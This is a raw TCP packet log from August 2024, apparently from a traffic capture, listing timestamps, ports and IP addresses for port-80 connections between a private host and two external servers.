Aug 30, 2024 03:17:07.360080004 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360095978 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360100031 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360110998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360124111 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360147953 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360181093 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360192060 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360200882 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360212088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360224009 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360225916 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360234022 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360243082 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360268116 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360368967 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360384941 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360394955 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360405922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360414982 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360418081 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360426903 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360429049 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360439062 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360450983 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360455036 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360461950 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360479116 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360495090 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360521078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360531092 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360541105 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360551119 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360560894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360563040 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360572100 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360583067 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360585928 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360600948 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360614061 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364521980 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364548922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364557028 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364590883 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364629030 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364639044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364648104 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364674091 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364680052 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364685059 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364701033 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364710093 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364716053 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364718914 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364729881 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364737988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364747047 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364748001 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364759922 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364769936 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364779949 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364780903 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364789963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364804983 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364811897 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364826918 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364835024 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364840031 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364860058 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364861012 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364870071 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364871979 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364896059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364897966 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364907026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364909887 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364917040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364917040 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364927053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364934921 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364937067 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364953041 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364964008 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.364975929 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364985943 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.364995956 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365006924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365012884 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365015984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365036964 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365061998 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365081072 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365091085 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365099907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365119934 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365125895 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365144014 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365148067 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365156889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365166903 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365168095 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365184069 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365184069 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365195990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365204096 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365216970 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365226984 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365228891 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365252972 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365277052 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365281105 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365291119 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365299940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365310907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.365319967 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.365345001 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.369815111 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.369824886 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.369838953 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.369856119 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.369865894 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.369874001 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.369890928 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.369903088 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.369908094 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.369925022 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.369941950 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.369942904 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.369951963 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.369961023 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.369967937 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.369981050 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.369990110 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.369998932 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370007992 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.370031118 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.370110989 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370121956 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370136976 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370146036 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370152950 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.370155096 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370176077 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.370183945 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.370203018 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370213032 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370239973 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.370251894 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370263100 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370271921 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370282888 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.370296955 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.370306969 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.370332956 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.374491930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374511003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374521017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374531031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374552011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374568939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374591112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374596119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374607086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374624014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374644995 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374659061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374676943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374691963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374708891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374711037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374718904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374727964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374728918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374738932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374756098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374773026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374773026 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374785900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374802113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374808073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374814987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374831915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374844074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374844074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374852896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374864101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374870062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374888897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374892950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374898911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374907970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374913931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374924898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374932051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374954939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.374978065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.374989033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375019073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375021935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375032902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375056028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375073910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375077009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375087976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375097036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375114918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375118971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375133991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375150919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375158072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375185013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375189066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375205040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375231028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375237942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375241041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375251055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375262976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375281096 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375324011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375334024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375344038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375365019 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375374079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375391006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375401974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375411987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375426054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375449896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375456095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375467062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375475883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375488043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375498056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375520945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375524044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375534058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375543118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375554085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375557899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375580072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375595093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375659943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375669956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375679970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375691891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375691891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375701904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375705957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375714064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375716925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375724077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375735998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375746965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375746965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375760078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375771999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375797033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375808001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375817060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375832081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375833988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375847101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375855923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375857115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375868082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375879049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375880003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375900030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375905037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375910997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375921965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375942945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375960112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375960112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.375971079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375979900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.375997066 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376020908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376049995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376060009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376069069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376090050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376111031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376113892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376121998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376131058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376152992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376174927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376245022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376255035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376265049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376276016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376286983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376287937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376313925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376326084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376355886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376367092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376377106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376399040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376400948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376411915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376421928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376421928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376444101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376445055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376455069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376465082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376466990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376473904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376490116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376497030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376502037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376512051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376529932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376550913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376581907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376597881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376607895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376617908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376621962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376627922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376631021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376638889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376643896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376648903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376660109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.376665115 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376696110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.376710892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.379158974 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.379180908 CEST	80	49734	147.45.44.104	192.168.2.4
